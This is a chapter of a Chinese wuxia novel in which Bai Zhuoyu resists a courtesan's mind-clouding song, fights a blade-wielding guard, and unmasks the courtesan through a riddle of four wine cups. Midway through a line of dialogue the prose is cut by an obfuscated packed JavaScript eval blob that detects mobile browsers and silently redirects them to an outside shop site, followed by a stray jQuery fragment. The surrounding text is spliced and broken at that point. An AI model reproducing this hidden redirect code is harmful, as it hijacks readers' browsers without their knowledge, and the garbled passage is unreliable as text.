白濯羽云容章抬头看去,只见遥远的高台之上,有一个人影缓缓降落而下。
四周的高官们本来喧闹成一片,看见花魁娘子的身影,一时间竟全部噤了声。众人鸦雀无声,都抬起头,直勾勾地盯着上面的一抹亮色。
那女子身量袅娜,身着一袭深绿色的纱衣,脸上带着面纱,衣服的丝绸与面纱一同随风摇荡。
白濯羽看不清她的脸,只看见她的腰肢与纤细的素手——似带如丝柳,团酥握雪花。
她一时间看得呆了。不知为何,她突然想起从前读《花间集》,读到花间词中女子——
秾艳细腻,轻柔精致,像一幅幅冷静的工笔画,又像是华美而沉寂的工艺品。物象错综,能看见景物,看见装饰,看见人的动作,极冷静极精美,被万人赞誉。
但是却看不见任何悲喜流露于其间。
那花魁虽然看不清脸,但是能看出,她的眼睛中没有任何情感。她冷漠地注视着脚下骚乱的众人,眼神深不见底。
然后她开口,悬坐在至高的秋千之上,抱着琵琶唱起乐曲。
“团圆莫作波中月,洁白莫为枝上雪。”
歌声婉转动听,旖旎悱恻,半入江风半入云。下面的达官显贵们闻之,怔怔地盯着她看,端着酒杯的手悬在空中,无暇饮酒。
“月随波动碎潾潾,雪似梅枝不堪折。”
尽管是抱着目的而来,但白濯羽也突然为此心神摇荡。她的五感之中嗅觉触觉味觉都失灵,唯有视觉与听觉无限放大。
她感觉花魁身上那抹深绿色在她的眼底占据了全部,她的歌声也越来越乱人心神。
“李娘十六青丝发,画带双花为君结。”
白濯羽突然摸了摸自己的脸,却感觉到自己的嘴角不自觉地上扬,而且笑得迷醉万分,如同酗酒一般。但她完全不想挣扎,任凭自己的思绪沉溺其中。
前尘往事、血海深仇、武林旧案,在她的视野中全部消弭殆尽。她的眼中只剩下面前的软红罗绮和珠帘翠幕。
白濯羽完全忽视了除花魁外的一切,她的全部意识如海中孤帆一般无止境地沉沦。
就在此时,云容章突然用很大力气捏住她的手。
强烈的疼痛使得白濯羽突然回过神来。她如同溺水之人猛然浮出水面一般,大口喘息。她不知发生了什么,惊讶地望向云容章。
云容章此时虽然酒意尚在,脸颊仍然泛红,但是看上去比她清醒不少。
“刚刚你呆住了,我怎么叫你你也不理。”云容章轻声道,几乎没有看花魁一眼。
白濯羽隐约意识到,花魁的歌声里面暗含内力,乱人心智。
“你怎么没事?”白濯羽擦了擦额头上的冷汗,问道。
“活人唱歌,我没有太大兴趣。”云容章道。
白濯羽内心腹诽道:要是死人从坟头爬出来唱歌吓不死你。
她环顾四周,发现周围的达官显贵们显然也已经神思驰骋,表情发癫发狂。整个楼中的客人,除了云容章之外,都受到了这歌声的影响。
五色令人目盲,五音令人耳聋。而白濯羽,由于感官过于敏锐,是所有人中受到影响最深的。
她暗暗运气,用内力对抗乐曲之音。随后,她从一旁取了一小盏瓷杯,用尽内力向花魁掷去。
小瓷杯破空飞去,飞向花魁的位置。花魁不动声色,也没有闪躲,只微微抬手,牢牢将那瓷杯接过,握在手中。
花魁轻轻把玩那瓷杯,向杯子飞来的地方看去,恰好与白濯羽对视。
白濯羽一时后背发凉,歌声与乐曲声仍然没有停止。
“门前有路轻离别,惟恐归来旧香灭。”歌声仍然余音袅袅,不绝如缕。
但是白濯羽细细思索:不对啊。
花魁一手抱琵琶,一手接杯子,她哪有手弹琵琶?可是琵琶声根本没有停下来。
她好像在,假唱假弹。
白濯羽反应过来后,迅速去捕捉歌声和乐声的真实来源。她听见琵琶声应该来自花魁身后,一个悬空的暗门。暗门门口有一层纱,纱后有人影。
于是她又抽了三个小茶盏,一齐向那个方向扔去。那茶盏描着花魁的边飞过去,依次飞进小暗门后。
她听见几声清脆的碎裂之音,好像是茶盏打中了琵琶弦。琵琶骤然停息。
但这首曲子本来就接近尾声,即将唱完。这瞬间的戛然而止在整个乐曲中也如曲终收拨当心画一般,被当做乐曲的一部分,没有人看出端倪。
迷醉中的众人们痴痴欢呼,山呼海啸。花魁坐着秋千一荡,秋千落下时她不知所踪。
那卖酒的女孩登上高台,将宫廷玉液酒摆成一排,高声对众人道:“诸位客人若想与花魁娘子见面,先来此处买酒!”
众人一哄而上,争先恐后地去抢那酒喝,豪掷金银。众人心思都扑在酒上,无人注意他们。
白濯羽基本已经能够确定,在这银纱楼中藏匿着相当多的武林人。
她心烦意乱,太守之死、庄静融、花魁、北境之战、贩卖马匹的账本,无数事件挤压在她的脑海当中。
她正认真考虑下一步如何去做时,突然,那守卫大门的女子向他们拔刀。
女子笑里藏刀对二人道:“二位客人,对花魁宴可还尽兴?为何不去买酒?难道二位不想与花魁娘子共度良宵?”
“我还没找你们算账呢。你们花魁假唱,退钱!”白濯羽故作义愤填膺道。
那女子哧哧笑了一下,神色骤然转冷:“那二位偷偷进入我们的库房,又该怎么说?”
白濯羽无法辨别眼前此人是敌是友,刚想找个理由开口解释,可没想到那女子直接一刀劈过来。
白濯羽想要去抽乱雪刀,但是刚刚为了避免迷惑心智,她自封内力,出刀也迟了一步。
在她迟了的那一瞬间里,云容章突然拦在她面前,伸臂替她挡了一刀。那刀砍在云容章的小臂之上。
白濯羽突然想到,云容章的刀被拿去库房抵押了。他没有武器,是直接伸手去挡的,那么——
她不敢看云容章的手臂,怕自己晕倒,立刻低下头去,强迫自己不去想这件事。
“我说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335670|151435||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了,我叫你不要为我挡刀!”白濯羽低下声音道,不敢抬头。
她死死地盯着地板,看不见云容章的脸,只从腿脚上看出,云容章仍挡在她的面前。
“我会一直在你面前,浴血蹈刃,至死方休。”仍然看不见云容章的脸,只能听见他的声音,庄重而清越。
白濯羽听见“血”这个字,眼前又是一黑,怒道:“闭嘴!”
她一掌将云容章推开,自己与那女子交战。她一直低着头,不敢抬头看那女子的刀。她怀疑那刀上有血。她只能靠女子的落脚位置和风声,判断她下一步出刀的方向。
白濯羽堪堪躲了几刀,向后退去,却碰到了墙,退无可退。
但是在挡刀的过程中,她发现这女子的内力不是很强。换句话说,是曾经强过,但是被抽走了或者是渡入给了别人。
就在二人缠斗之时,一旁突然传来一句妩媚却冰冷至极的女声。
“既是远道而来的客人,没有不欢迎之理。哪该让客人买酒?应当我们摆酒迎客才是。”
白濯羽听见刀被收回的声音,勉强抬起头来。她刻意地挡住云容章,不敢去看云容章的手臂。
她看见,站在她面前的人正是蒙面的花魁。而站在花魁身边的,正是江冷音。
她心中又是满腹狐疑,不知道江冷音出现在花魁身边是为了何事。不过从二人关系来看,她们两个应该是相识不久,但是关系很好。
“放手吧,我还想和客人说两句话。”花魁对持刀女孩笑道。
那持刀的女子退下,这个角落里仅剩下花魁和云、白、江三人。
“是奴家失了待客之道,理应赔罪。”
花魁盈盈笑着,往桌上摆了四盏酒杯,用那纤纤素手将四杯酒斟满,抬眼望向三人道:
“奴家这里有风、花、雪、月四杯酒,请三位客人各选一杯饮之。”
白濯羽细细看去,四个酒杯上各自刻着一个小篆文字,分别是“风”“花”“雪”“月”。
三个人喝四杯酒,白濯羽知道这是花魁在同她打哑谜。
她细细思索方才花魁所唱歌词。那词是温飞卿的《相和歌辞·三洲歌》,本是少妇哀叹商人重利轻别离。但是她推测里面包含着一些谜面。
“团圆莫作波中月”,是指他们三个都不要喝“月”。“洁白莫为枝上雪”,是指白濯羽不要喝“雪”。
她默念了几句,偏头问江冷音道:“小江,你是哪年出生的?”
“金武三年。”江冷音道。
“那你今年十六?”白濯羽道。
江冷音点头。
李娘十六青丝发,画带双花为君结。白濯羽想着,将“花”字酒递给江冷音。
排除掉雪、月、花,白濯羽将“风”一饮而尽。仅剩一杯“雪”,递给云容章。
三人各自将酒喝完以后,白濯羽笑着将自己的酒杯放下。
她拿起“月”字那杯酒,盈盈笑着捧到花魁面前。
“那么这杯酒,敬您。”白濯羽伸手摘掉花魁的面纱,“残月阁护法,庄静融。”